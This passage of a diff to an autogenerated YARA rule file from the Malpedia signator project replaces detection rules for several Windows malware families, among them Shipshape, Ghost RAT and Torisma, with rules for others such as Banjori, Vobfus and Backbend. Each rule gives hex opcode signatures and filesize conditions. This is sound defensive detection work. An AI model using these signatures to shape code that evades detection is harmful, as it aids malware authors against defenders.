-		$sequence_4 = { e8???????? 48c7470800000000 c7471000000000 4c8d7e18 4c89f9 ff15???????? 448b4648 }
-		$sequence_5 = { 4885c9 740d e8???????? 48c7460800000000 }
-		$sequence_6 = { 4989c9 4889d0 458d5aff 41f6c203 7427 4489d1 83e103 }
-		$sequence_7 = { 4883c410 c3 ff25???????? ff25???????? ff25???????? ff25???????? ff25???????? }
-		$sequence_8 = { 4889c1 4863c6 488d0440 48c1e004 4801c8 eb02 31c0 }
-		$sequence_9 = { 31f6 31d2 660f1f440000 488b3cf0 49313cf1 }
-		$sequence_10 = { c74424504900df00 c744245436004d00 c74424586b007100 c744245cf5003400 }
-		$sequence_11 = { 0f8883020000 33d2 c78594000000f1008500 c78598000000a8003f00 448d630e c7859c000000f7003100 }
-		$sequence_12 = { 01c1 89ca c1ea1f c1f904 }
-		$sequence_13 = { 488d4dd0 48895dd8 895de0 4c8bea e8???????? be08020000 8bce }
-		$sequence_14 = { 00c2 488b8568020000 8854080c 488b85b0020000 }
-		$sequence_15 = { 00c1 488b8568020000 488b95b0020000 884c100c 488b85b0020000 488b85b0020000 488b85b0020000 }
-		$sequence_16 = { 85c0 7417 418bce 448bc7 48034e08 488bd5 e8???????? }
-		$sequence_17 = { 7212 4d8b5a10 4d85db 7409 48895c2448 5b }
-		$sequence_18 = { 01c3 69cbe8030000 81c130750000 4883ec20 }
-		$sequence_19 = { 01d1 89ca c1e205 89cb }
-		$sequence_20 = { 7449 8b5c2448 488bc7 d1eb ffcb }
-		$sequence_21 = { 48895c2408 57 4883ec20 488d0557540000 488bd9 488901 }
-		$sequence_22 = { c3 83c8ff ebf5 b801000000 ebee }
+		$sequence_0 = { fc 81fe382e9330 97 e412 3dd16312c9 103f 0800 }
+		$sequence_1 = { 8802 98 811212242434 48 3c91 4a }
+		$sequence_2 = { 894612 4d 2454 48 5b 91 }
+		$sequence_3 = { 71ef 1a6f35 e30b 5d fc 77f2 f1 }
+		$sequence_4 = { 1dba45e22f 91 7c8b e459 0920 122424 }
+		$sequence_5 = { 386b95 4c 53 196a17 }
+		$sequence_6 = { 4a e8???????? 86b71986f742 06 58 4c 8812 }
+		$sequence_7 = { c101f6 53 32b879629b65 76a2 43 fc }
+		$sequence_8 = { d9c3 ab 5f c50f 9d 54 f233591b }
+		$sequence_9 = { 5a c59cd53a93a658 98 9f f5 6b80e7fa856bb2 55 }
 
 	condition:
-		7 of them and filesize <1115136
+		7 of them and filesize <58867712
 }
-rule MALPEDIA_Win_Shipshape_Auto : FILE
+rule MALPEDIA_Win_Banjori_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "77ebf79f-670a-594a-bd26-db4684807e7a"
+		id = "0d7b2a6e-e2ca-5160-9081-9a7cfdf5e1be"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shipshape"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.shipshape_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.banjori"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.banjori_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "d30091c6ebd49f11de789ea622fcb4cbfab75e230e1b049ba06177bb5b7dc7cb"
+		logic_hash = "9dcfb5d77d585c9251303d49a0603c551cff0efcfccd66cc7c87519a0e64ecdd"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -177216,32 +184219,32 @@ rule MALPEDIA_Win_Shipshape_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 68???????? 68???????? 8d942440020000 68???????? 52 }
-		$sequence_1 = { 83e103 50 f3a4 ffd3 e9???????? 56 e8???????? }
-		$sequence_2 = { 68???????? 8d942440020000 68???????? 52 e8???????? 83c434 }
-		$sequence_3 = { c1f905 8b0c8d60d54000 f644c10401 8d04c1 7403 8b00 }
-		$sequence_4 = { 8d542438 8d842400070000 52 50 }
-		$sequence_5 = { 8d84244c040000 68???????? 50 e8???????? 8d8c2454040000 51 }
-		$sequence_6 = { 8d4c2414 50 51 6a00 6a00 6a00 }
-		$sequence_7 = { 5b 81c440060000 c3 56 57 }
-		$sequence_8 = { 50 51 ffd3 5f 5e 33c0 }
-		$sequence_9 = { 83c418 3bc6 7e0f 5f 5e }
+		$sequence_0 = { 6800010000 e8???????? 8945f4 81f9000c0000 7308 e8???????? 8945f0 }
+		$sequence_1 = { 50 ff15???????? ffb5a0feffff e8???????? 53 53 53 }
+		$sequence_2 = { 68???????? ff75fc ff15???????? 53 ff75fc ff15???????? 68???????? }
+		$sequence_3 = { ff750c 53 53 53 53 ff7508 ff35???????? }
+		$sequence_4 = { 78e1 8945e8 eb18 8d85aafeffff 50 ff75e8 ff15???????? }
+		$sequence_5 = { 85c0 7539 68???????? e8???????? 85c0 752b }
+		$sequence_6 = { 6802000080 e8???????? 85c0 0f85fe000000 895df0 8d45f0 50 }
+		$sequence_7 = { 8945f4 8d45f8 50 6819000200 6a00 68???????? 6802000080 }
+		$sequence_8 = { 50 ff35???????? e8???????? e9???????? c745f864000000 68???????? ff15???????? }
+		$sequence_9 = { 6a10 8d45b4 50 ff75c4 ff15???????? 85c0 0f883a020000 }
 
 	condition:
-		7 of them and filesize <338386
+		7 of them and filesize <139264
 }
-rule MALPEDIA_Win_Nexster_Bot_Auto : FILE
+rule MALPEDIA_Win_Halfrig_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f3849f7f-92fa-5a27-8fce-5cf70a6092f1"
+		id = "4f3cbac9-fb70-5f5f-a1a6-aa00243a3db8"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nexster_bot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nexster_bot_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.halfrig"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.halfrig_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "68d99297d7676950ef20645c2f54f180e697aada925cf75041287d48b2b4b344"
+		logic_hash = "fd3e289580ee05538ff1447ee4a76bbaba1a2cf6f44fe795cbd300f7fc8296a1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -177255,32 +184258,32 @@ rule MALPEDIA_Win_Nexster_Bot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 52 e8???????? 68ff030000 8d85bd090000 }
-		$sequence_1 = { ff15???????? 668985ae010000 6a10 8d85ac010000 50 57 }
-		$sequence_2 = { 7d10 668b4c4310 66890c45186e4100 40 ebe8 33c0 }
-		$sequence_3 = { 03f9 837d1810 7208 8b5d04 }
-		$sequence_4 = { 33c0 8da42400000000 8a1485d0604100 889405000e0000 40 83f80b }
-		$sequence_5 = { 731a 8bc8 83e01f c1f905 8b0c8d20804100 c1e006 03c1 }
-		$sequence_6 = { 81c404040000 c3 53 56 57 8bf8 }
-		$sequence_7 = { 66898c24bc010000 e9???????? 8b15???????? a1???????? 8b0d???????? 899424b0010000 }
-		$sequence_8 = { 68???????? 52 e8???????? 68???????? 8d85bc110000 50 }
-		$sequence_9 = { 8a08 40 84c9 75f9 8dbdbc150000 2bc6 4f }
+		$sequence_0 = { 833d????????ff 752a 488d0dee900400 c705????????679f9b01 c705????????6680ec92 c705????????3f7d27f5 e8???????? }
+		$sequence_1 = { 833d????????ff 7539 488d0d67740400 66c705????????fd01 c705????????6881e28d }
+		$sequence_2 = { e8???????? 488d0d6c950700 e8???????? 40383d???????? 7435 660f1f440000 }
+		$sequence_3 = { 75ad 0fb600 498bcf 8802 488d542420 e8???????? 488d0d58c70600 }
+		$sequence_4 = { 48c1e008 488bd1 49ffc0 4833d0 4983f80f 72db 408835???????? }
+		$sequence_5 = { 8802 488d542420 e8???????? 488d0d4cef0900 e8???????? 40383d???????? }
+		$sequence_6 = { 488d542420 e8???????? 488d0d08830600 e8???????? 40383d???????? 7435 488bd3 }
+		$sequence_7 = { 75ad 0fb600 498bcf 8802 488d542420 e8???????? 488d0df8da0500 }
+		$sequence_8 = { 8802 488d542420 e8???????? 488d0df8930600 e8???????? 40383d???????? }
+		$sequence_9 = { 488d0d88080800 e8???????? 40383d???????? 7435 }
 
 	condition:
-		7 of them and filesize <245760
+		7 of them and filesize <1369088
 }
-rule MALPEDIA_Win_Apocalypse_Ransom_Auto : FILE
+rule MALPEDIA_Win_7Ev3N_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d42c3028-47d8-5c2a-8245-ee48597fdb68"
+		id = "cf231267-d18f-5fab-bbdf-ab3bf00ba51c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalypse_ransom"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.apocalypse_ransom_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.7ev3n"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.7ev3n_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "3006a8aede4427b243aedfb686311f3de66b1be38f627de23e7cfc996b17033d"
+		logic_hash = "3d3793244c4ff8a9f87ce7ce50051977c17fdc03ef0f8a315973a688f14f4ceb"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -177294,32 +184297,32 @@ rule MALPEDIA_Win_Apocalypse_Ransom_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 68???????? 8d84240c040000 50 ff15???????? 85c0 742f }
-		$sequence_1 = { 83f8ff 755f 6a01 8d44240c 50 8d8c2410040000 }
-		$sequence_2 = { 0bfb ff15???????? 33d2 83f802 }
-		$sequence_3 = { 8d4c2410 68???????? 51 ff15???????? 83c410 6a00 6a00 }
-		$sequence_4 = { ffd6 b801000000 5e 83c418 c3 33c0 }
-		$sequence_5 = { 68???????? 6a00 ffd7 8bf0 85f6 7504 5f }
-		$sequence_6 = { 83f8ff 7411 50 ff15???????? 8d0424 50 ff15???????? }
-		$sequence_7 = { 83c40c 57 53 ff15???????? 6800800000 }
-		$sequence_8 = { ffd7 85c0 7440 8b1d???????? 8b2d???????? 8b542410 8d4c2410 }
-		$sequence_9 = { 6a03 6800000040 52 ffd6 }
+		$sequence_0 = { 8d8dd0cdffff e8???????? 8bce 2bcf 3bc1 0f8402b10000 }
+		$sequence_1 = { 8bd4 89a50cf9ffff c7421407000000 c7421000000000 668902 66398560ffffff 7504 }
+		$sequence_2 = { 894104 a0???????? 884108 6a00 8d8504ffffff 50 }
+		$sequence_3 = { c785e4fdffff00000000 6a00 c785e0fdffffd0a54500 ff15???????? 33c0 c705????????07000000 }
+		$sequence_4 = { 8d85acefffff 50 8d8dd0cdffff e8???????? 8bce 2bcf }
+		$sequence_5 = { 6a00 8d85fcfeffff 50 8d8dd0cdffff e8???????? 8bce 2bcb }
+		$sequence_6 = { 8dbd38f1ffff 8d4f02 0f1f840000000000 668b07 83c702 6685c0 75f5 }
+		$sequence_7 = { 8b0c8d20934500 80643128fd 5f 5e 8be5 5d c3 }
+		$sequence_8 = { f30f7e05???????? 660fd68564e6ffff 0fb705???????? 6689856ce6ffff f30f7e05???????? 660fd68558e6ffff 0fb705???????? }
+		$sequence_9 = { 0f84724c0000 8dbda0ddffff 8d4f02 0f1f840000000000 668b07 83c702 6685c0 }
 
 	condition:
-		7 of them and filesize <40960
+		7 of them and filesize <803840
 }
-rule MALPEDIA_Win_Ncctrojan_Auto : FILE
+rule MALPEDIA_Win_Moonbounce_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "964a63a1-2a33-5eff-ac10-defb358349c1"
+		id = "c186ffa8-3b28-566b-9f82-5819628ca523"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ncctrojan"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ncctrojan_auto.yar#L1-L159"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moonbounce"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.moonbounce_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "ca1178d41ac898e0a6dcd72371fc848e91a6cf3f5857a4b6b78db9de7f47f454"
+		logic_hash = "081fa4bc70b28c3a98dc6caeb9104489e42b513d1d76e6dfbd571155c86ff551"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -177333,38 +184336,32 @@ rule MALPEDIA_Win_Ncctrojan_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7536 8b85e8feffff 85c0 750a 68???????? }
-		$sequence_1 = { 68???????? e9???????? 83f801 750a }
-		$sequence_2 = { 83f801 750a 68???????? e9???????? 83f802 }
-		$sequence_3 = { 68e9fd0000 ffd6 8d8decfdffff 5f 8d5102 5e 668b01 }
-		$sequence_4 = { 8b442420 83c40c 83c008 836c240c01 89442414 0f85fffdffff }
-		$sequence_5 = { 8d4a10 0f1f840000000000 0f1041f0 83c020 }
-		$sequence_6 = { ffd6 50 8d85dcfdffff 50 }
-		$sequence_7 = { e8???????? 83c40c 85c0 752f 6a06 8d85c4bfffff }
-		$sequence_8 = { 51 f2c3 8b4df0 33cd f2e8bef6ffff }
-		$sequence_9 = { 83c414 e8???????? 84c0 7517 }
-		$sequence_10 = { 33c5 8945fc 56 6890010000 }
-		$sequence_11 = { 83faff 0f94c0 84c0 7405 }
-		$sequence_12 = { 83c418 83c008 03c6 8bcf }
-		$sequence_13 = { 0fb601 50 8d45d0 68???????? 50 }
-		$sequence_14 = { 83ec14 c645fc1f 8d95e8feffff 8bcc }
-		$sequence_15 = { 668bc1 8be5 5d c3 56 8bf1 }
+		$sequence_0 = { 7413 8d041e 85c0 0f8407feffff ff7704 6a01 }
+		$sequence_1 = { 3bfe 7426 56 56 56 56 }
+		$sequence_2 = { 6a04 6800200000 ff7650 50 ff5708 8bd8 85db }
+		$sequence_3 = { 8b5de8 5e 5f 8bc3 5b }
+		$sequence_4 = { 833800 7413 8345fc04 8b45fc 8b00 }
+		$sequence_5 = { 56 57 6a30 33ff 57 ff15???????? }
+		$sequence_6 = { a3???????? 3935???????? 7441 3935???????? }
+		$sequence_7 = { 8d45e8 50 ffd7 84c0 0f8482000000 }
+		$sequence_8 = { 8b400c 85c0 0f8495000000 03c3 50 ff570c }
+		$sequence_9 = { 3bfe 7426 56 56 56 56 68???????? }
 
 	condition:
-		7 of them and filesize <1160192
+		7 of them and filesize <70912
 }
-rule MALPEDIA_Win_Ghost_Rat_Auto : FILE
+rule MALPEDIA_Win_Vobfus_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a811e919-423f-5da5-9744-a836ad0cfe7b"
+		id = "379cd9d3-d698-58d1-90c1-aa0d12f74cc4"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ghost_rat_auto.yar#L1-L294"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vobfus"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vobfus_auto.yar#L1-L221"
 		license_url = "N/A"
-		logic_hash = "566fcbf38da6404d1cfb5b85cb33273a727f786f21d6a86dff53a4e450ad50b1"
+		logic_hash = "87942ff8c467cfeb6529bdba1fb2a14574a28472aae2c0f0acabf5e6455fc919"
 		score = 75
 		quality = 73
 		tags = "FILE"
@@ -177378,56 +184375,47 @@ rule MALPEDIA_Win_Ghost_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a01 56 ff15???????? 5e c20800 }
-		$sequence_1 = { 8bd9 e8???????? 8b4d08 3bc8 }
-		$sequence_2 = { 8b400c 85c0 7505 a1???????? 50 8bce }
-		$sequence_3 = { 8be5 5d c20400 894df4 }
-		$sequence_4 = { 894df4 c745f800000000 df6df4 83ec08 dc0d???????? }
-		$sequence_5 = { 6a6b 8bce e8???????? 5f }
-		$sequence_6 = { e8???????? 8b8e549f0000 83c41c 89848e14030000 8b86549f0000 }
-		$sequence_7 = { 8d7b01 c60396 f3a5 53 8bcd }
-		$sequence_8 = { 8db714030000 8b06 6aff 50 }
-		$sequence_9 = { 8b5614 8b02 8b400c 85c0 }
-		$sequence_10 = { e9???????? 8d45dc 50 681f000200 }
-		$sequence_11 = { 50 ff15???????? ffb6a8000000 ff15???????? ffb6ac000000 }
-		$sequence_12 = { 8dbd85feffff f3ab 66ab aa }
-		$sequence_13 = { 6a00 6a00 c705????????20010000 e8???????? 8b35???????? }
-		$sequence_14 = { e8???????? 8d85c0feffff 50 57 ff15???????? 8bf8 83ffff }
-		$sequence_15 = { 83c40c 8d85b8feffff 50 8d85b4fdffff }
-		$sequence_16 = { 8bce e8???????? 8b4df4 5f b001 5e }
-		$sequence_17 = { 8bf0 83c40c 46 750b 5f 5e 33c0 }
-		$sequence_18 = { ff15???????? 6a01 ff7620 ff15???????? 8b4e04 e8???????? }
-		$sequence_19 = { ff7510 ff75dc ff15???????? 85c0 7507 c745e401000000 834dfcff }
-		$sequence_20 = { 56 53 e8???????? 83c408 84c0 750b }
-		$sequence_21 = { 68???????? 50 6802000080 e8???????? 83c41c 5f 5e }
-		$sequence_22 = { 6a00 50 e8???????? 83c40c ff7508 6a40 ff15???????? }
-		$sequence_23 = { 8365fc00 ff7508 ff15???????? 40 50 ff15???????? 59 }
-		$sequence_24 = { 8b4608 8b7e20 8b36 813f6b006500 7406 }
-		$sequence_25 = { c7014c696272 83e9fc c70161727941 83e9fc }
-		$sequence_26 = { 813f6b006500 7406 813f4b004500 75e8 }
-		$sequence_27 = { c7014c6f6164 83e9fc c7014c696272 83e9fc }
-		$sequence_28 = { 7475 8b45bc 8b08 894db4 }
-		$sequence_29 = { 8911 eb26 8b45b4 8b4d08 8d540102 }
-		$sequence_30 = { 8b55dc 8b7a18 8b7220 0375f8 33c9 }
-		$sequence_31 = { 6bc928 8b9538ffffff 8b8560ffffff 03440a0c 8985fcfeffff }
+		$sequence_0 = { 8b5508 8b92e8000000 8b82841d0000 50 50 8b10 }
+		$sequence_1 = { 8b5508 8b92e8000000 8b825c1e0000 50 }
+		$sequence_2 = { 8bec 8b5508 8b92e8000000 8b82c8150000 }
+		$sequence_3 = { 8b8220000000 50 50 8b10 ff5204 58 }
+		$sequence_4 = { 8b5508 8b92e8000000 8b8200080000 50 }
+		$sequence_5 = { 8b5508 8b92e8000000 8b82b4230000 50 }
+		$sequence_6 = { 8b5508 8b92e8000000 8b82d0130000 50 }
+		$sequence_7 = { 8b5508 8b92e8000000 8b829c0e0000 50 }
+		$sequence_8 = { f3ed ebf2 ed ec }
+		$sequence_9 = { ec f2ed ec f2ed ec f3ed }
+		$sequence_10 = { f2e8fae6d5f6 d2b5f2bb8ff3 ae 73f3 aa 5c f6ac4ff8b54ffb }
+		$sequence_11 = { 801800 0808 0006 3401 41 06 }
+		$sequence_12 = { 7cc8 dc7acd e291 d2e8 }
+		$sequence_13 = { 8631 96 0a7f25 7a43 92 9afc9e5780451f }
+		$sequence_14 = { 0c38 a95bedb2e5 759e 3a9b423ceb9d 65be2dafffcd 3624e4 6bee88 }
+		$sequence_15 = { 4b ce 8ca4b11e13b793 73aa fa }
+		$sequence_16 = { 48 0008 78ff 0d50004900 3e3cff 46 }
+		$sequence_17 = { 5c f6ac4ff8b54ffb c058fcca 61 }
+		$sequence_18 = { 46 14ff 0470 fe0a }
+		$sequence_19 = { e752 47 625403a7 78f5 06 95 }
+		$sequence_20 = { 6c 74ff 801800 0808 }
+		$sequence_21 = { b909dfd18c 9d 7454 2bcd 8ab411746337ed 80ab931e2e5e88 }
+		$sequence_22 = { c8ed9459 ef 60 226aa3 60 8907 6bdd97 }
 
 	condition:
-		7 of them and filesize <357376
+		7 of them and filesize <409600
 }
-rule MALPEDIA_Win_Darkpulsar_Auto : FILE
+rule MALPEDIA_Win_Highnote_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b29c7cf0-59bf-59a4-b8c5-d1ee53d551a4"
+		id = "9754f7b1-01be-5dce-8939-9dbedbd321d3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkpulsar"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkpulsar_auto.yar#L1-L401"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.highnote"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.highnote_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "07b3040533891d5ece5d93ef76c617792a76fc1b169e5d22dab675082baad80b"
+		logic_hash = "63e3b329a81995d654d7d4235beb319e224a0ea782f84de7ddd9bdcbead90225"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -177438,67 +184426,33 @@ rule MALPEDIA_Win_Darkpulsar_Auto : FILE
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
-	strings:
-		$sequence_0 = { ff25???????? 33c0 40 c20c00 68???????? 64ff3500000000 }
-		$sequence_1 = { c20c00 68???????? 64ff3500000000 8b442410 896c2410 8d6c2410 2be0 }
-		$sequence_2 = { c21000 ff25???????? ff25???????? ff25???????? 33c0 }
-		$sequence_3 = { 3a01 1bc0 83e0fe 40 5f }
-		$sequence_4 = { 803f00 742e 47 ff450c 0fbe07 }
-		$sequence_5 = { 56 8b35???????? 57 8b7d08 eb09 }
-		$sequence_6 = { 59 59 3bd8 74e0 0fb607 }
-		$sequence_7 = { 50 ffd6 8bd8 8b450c 0fbe00 50 ffd6 }
-		$sequence_8 = { 56 e8???????? ff742414 50 e8???????? 83c410 }
-		$sequence_9 = { 6a01 50 ff15???????? 8bf0 59 }
-		$sequence_10 = { 83c410 83f8ff 0f95c1 49 8bc1 }
-		$sequence_11 = { 53 33d2 56 57 33c0 }
-		$sequence_12 = { ffd7 59 5f 5e c3 8b4c2404 85c9 }
-		$sequence_13 = { 8d45cc 50 57 e8???????? 83c410 85c0 }
-		$sequence_14 = { ffd6 59 59 8945f8 }
-		$sequence_15 = { f7d8 59 1bc0 59 40 c3 e9???????? }
-		$sequence_16 = { 8b5d10 56 8b7508 33d2 }
-		$sequence_17 = { e8???????? ff7514 89460c e8???????? }
-		$sequence_18 = { ff15???????? 8bf8 59 59 85ff 7502 }
-		$sequence_19 = { 8bc1 c3 8b442404 85c0 7501 c3 }
-		$sequence_20 = { 33c0 33d2 c3 8bff 55 8bec b863736de0 }
-		$sequence_21 = { e8???????? 59 5e 83f8ff }
-		$sequence_22 = { 59 5e 8b45fc c9 c3 }
-		$sequence_23 = { 56 e8???????? 59 85c0 7625 }
-		$sequence_24 = { e8???????? 8bf0 46 56 ff15???????? 59 }
-		$sequence_25 = { 40 894588 83659800 85c0 }
-		$sequence_26 = { 8903 894304 5f 8bc6 }
-		$sequence_27 = { ff75f0 56 57 ff15???????? 83c40c }
-		$sequence_28 = { 00db 7313 752f 3b742404 0f830b010000 }
-		$sequence_29 = { 8945cc 8945d0 8b4608 6a05 50 885dec }
-		$sequence_30 = { 66894df5 c745f702000000 e8???????? 83c408 }
-		$sequence_31 = { 0fb606 50 ff15???????? 83c41c 85c0 }
-		$sequence_32 = { 48 4e 897c2414 75eb 5f 8d4240 }
-		$sequence_33 = { 668903 8b45e8 8930 33c0 ebdc ff742408 ff15???????? }
-		$sequence_34 = { 00db 7309 75f4 8a1e 46 10db }
-		$sequence_35 = { 00db 7313 75e1 3b742404 0f8318010000 }
-		$sequence_36 = { 51 51 8b4508 8b4d0c 894dfc }
-		$sequence_37 = { 0facf908 c1ef08 48 4e }
-		$sequence_38 = { 8945e0 8945e4 8945d4 8945d8 8b450c 897de8 897ddc }
-		$sequence_39 = { 8d8df9feffff 53 51 899d5ceeffff 899d60eeffff }
-		$sequence_40 = { 8b4d08 8d7d0c 31c0 f3aa }
-		$sequence_41 = { ffd3 ff7594 ff15???????? 83c414 837d9c00 741c 837d0c07 }
-		$sequence_42 = { 33d7 c1ea10 5f 33d1 }
-		$sequence_43 = { 8bec 8b4508 894508 d94508 5d }
+	strings:
+		$sequence_0 = { b3a7 8cd7 a5 329ea1afa9a5 5d b5a5 }
+		$sequence_1 = { 2d620a682c fd 9d 8945ec 8945f0 8945f4 9c }
+		$sequence_2 = { 3665017cf341 14b0 63c5 ef d550 3362db }
+		$sequence_3 = { 0fb6c9 8a1408 0fb6da 03de 81e3ff000080 }
+		$sequence_4 = { 98 fd bfb47ea0c6 ddbb690cc1af 6595 fa 6a23 }
+		$sequence_5 = { 115542 305421f0 d438 bd4dae2b31 b1f7 }
+		$sequence_6 = { 90 9e a4 3634a1 6594 2424 e230 }
+		$sequence_7 = { 2ca7 33e6 7479 1e 0477 ed 7cb1 }
+		$sequence_8 = { 8636 35cfd6d703 b368 321e 4a 727d 51 }
+		$sequence_9 = { 000b 2920 da927a3741d4 7e5b a7 5a 40 }
 
 	condition:
-		7 of them and filesize <491520
+		7 of them and filesize <321536
 }
-rule MALPEDIA_Win_Torisma_Auto : FILE
+rule MALPEDIA_Win_Backbend_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a1ed0c86-448e-5725-a3d9-4e9a8d06915c"
+		id = "0c0e6fe8-d4e7-5b73-ab9b-71a979b7c8b3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.torisma"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.torisma_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.backbend"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.backbend_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "5ec5e797b8010193d7caa6926dd920962119b17c8339298b3be41306fc75b6f7"
+		logic_hash = "b7d55ae6e8faf28a826a20f0c2aeb325ce5a40ba350e055022c2b2475be4953d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -177512,35 +184466,32 @@ rule MALPEDIA_Win_Torisma_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 3d83490000 7507 b883490000 }
-		$sequence_1 = { 7402 eb05 e9???????? b833280000 }
-		$sequence_2 = { e8???????? 3d514b0000 7504 33c0 }
-		$sequence_3 = { 488b4c2470 e8???????? 89442458 817c245870100000 }
-		$sequence_4 = { 030cb540ef0110 eb02 8bca f641247f 759b }
-		$sequence_5 = { b833280000 5f 5e 8be5 5d }
-		$sequence_6 = { 8b55fc 833a00 740c 8b45fc 8b08 51 }
-		$sequence_7 = { 488d442440 488bf8 33c0 b928000000 }
-		$sequence_8 = { 8b4c2430 488b542450 89048a ebb5 }
-		$sequence_9 = { 817dd833280000 7507 c745f433280000 eb07 c745f433280000 }
-		$sequence_10 = { c68424e1000000e9 c68424e2000000c3 c68424e3000000a5 c68424e400000090 }
-		$sequence_11 = { ff2495c0d50010 8bc7 ba03000000 83e904 720c 83e003 }
-		$sequence_12 = { c1e006 0b442414 88442410 8b442440 }
+		$sequence_0 = { ff15???????? 80a40500ffffff00 8d8500ffffff 56 50 ff15???????? }
+		$sequence_1 = { 58 5f 5e c3 ff25???????? ff25???????? }
+		$sequence_2 = { ffd6 ff7510 ffd3 8d8500feffff }
+		$sequence_3 = { ff15???????? 85c0 7416 8d8500fbffff }
+		$sequence_4 = { 56 e8???????? 8d8500fdffff 56 50 e8???????? 68???????? }
+		$sequence_5 = { 90 90 90 bf???????? 57 e8???????? c70424???????? }
+		$sequence_6 = { 8d8500f9ffff 50 e8???????? 8d8500f9ffff 50 e8???????? 83c424 }
+		$sequence_7 = { ffd3 8d8500feffff 6800010000 50 ff15???????? 8d8500feffff 68???????? }
+		$sequence_8 = { 56 ffd3 6a00 8d8500ffffff 56 50 ff15???????? }
+		$sequence_9 = { 7416 8d8500fbffff 6a00 50 }
 
 	condition:
-		7 of them and filesize <322560
+		7 of them and filesize <49152
 }
